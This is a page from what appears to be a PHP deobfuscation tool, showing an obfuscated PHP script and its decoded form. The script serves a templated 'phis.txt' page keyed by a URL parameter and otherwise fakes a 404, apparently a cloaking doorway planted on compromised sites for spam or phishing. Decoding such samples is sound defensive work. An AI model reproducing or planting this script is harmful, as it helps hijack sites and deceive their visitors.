Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto XmhHD; Q3V2h: $filePath = __DIR__ . DIRECTORY_SEPARATOR . "\x70\x68\151\163\5..

Decoded Output download

<?php 
 goto XmhHD; Q3V2h: $filePath = __DIR__ . DIRECTORY_SEPARATOR . "phis.txt"; goto FY8M2; INlS1: $requestedInc = isset($_GET["bo"]) ? $_GET["bo"] : ''; goto Q3V2h; blim5: $requestedParams = array(); goto y7Mus; XmhHD: $readmePath = "readme.txt"; goto blim5; y7Mus: if (file_exists($readmePath)) { $requestedParams = file($readmePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } goto INlS1; FY8M2: if (!empty($requestedInc) && in_array($requestedInc, $requestedParams)) { $filedata = file_get_contents($filePath); if ($filedata !== false) { $newContent = str_replace("VISA4D", $requestedInc, $filedata); $newContent = str_replace("visa4d", $requestedInc, $newContent); echo $newContent; } else { echo "Error reading content from the file: " . error_get_last()["message"]; } } else { header("HTTP/1.0 404 Not Found"); echo "<img src="https://us-tuna-sounds-images.voicemod.net/754bd5f1-c441-4e7b-812b-404cd568f2d6-1682354782131.jpg" style="width: 100%; height: 100%;">"; } goto OivHJ; OivHJ: ?>

Did this file decode correctly?

Original Code

<?php
 goto XmhHD; Q3V2h: $filePath = __DIR__ . DIRECTORY_SEPARATOR . "\x70\x68\151\163\56\164\x78\164"; goto FY8M2; INlS1: $requestedInc = isset($_GET["\142\x6f"]) ? $_GET["\x62\x6f"] : ''; goto Q3V2h; blim5: $requestedParams = array(); goto y7Mus; XmhHD: $readmePath = "\x72\145\141\144\x6d\x65\x2e\164\170\x74"; goto blim5; y7Mus: if (file_exists($readmePath)) { $requestedParams = file($readmePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } goto INlS1; FY8M2: if (!empty($requestedInc) && in_array($requestedInc, $requestedParams)) { $filedata = file_get_contents($filePath); if ($filedata !== false) { $newContent = str_replace("\126\x49\123\101\64\104", $requestedInc, $filedata); $newContent = str_replace("\x76\151\163\141\64\144", $requestedInc, $newContent); echo $newContent; } else { echo "\105\162\162\157\x72\x20\162\145\141\144\151\x6e\x67\x20\x63\157\x6e\164\x65\x6e\164\40\146\162\x6f\x6d\40\x74\150\x65\40\x66\151\154\145\72\x20" . error_get_last()["\155\145\163\163\141\147\x65"]; } } else { header("\x48\124\x54\120\x2f\61\56\60\x20\x34\60\64\x20\x4e\x6f\164\x20\x46\x6f\165\156\144"); echo "\x3c\x69\x6d\x67\40\163\162\x63\75\42\x68\164\164\x70\163\x3a\x2f\57\165\163\x2d\x74\x75\x6e\141\x2d\163\x6f\165\156\144\163\55\151\155\x61\x67\x65\163\x2e\166\x6f\x69\x63\145\155\x6f\x64\56\156\x65\164\57\x37\x35\64\142\x64\65\x66\x31\55\x63\x34\64\61\55\64\x65\x37\142\x2d\x38\x31\62\142\x2d\x34\x30\x34\x63\144\65\66\x38\146\x32\x64\x36\55\61\66\x38\x32\63\x35\64\x37\70\x32\x31\x33\61\56\x6a\160\147\x22\x20\x73\x74\x79\x6c\x65\x3d\x22\x77\151\144\164\150\72\40\61\x30\x30\45\73\x20\150\x65\151\147\150\x74\x3a\x20\61\60\x30\45\73\x22\76"; } goto OivHJ; OivHJ: ?>

Function Calls

None

Variables

None

Stats

MD5 bf029b0a0aade7c6672de0881d2b906f
Eval Count 0
Decode Time 51 ms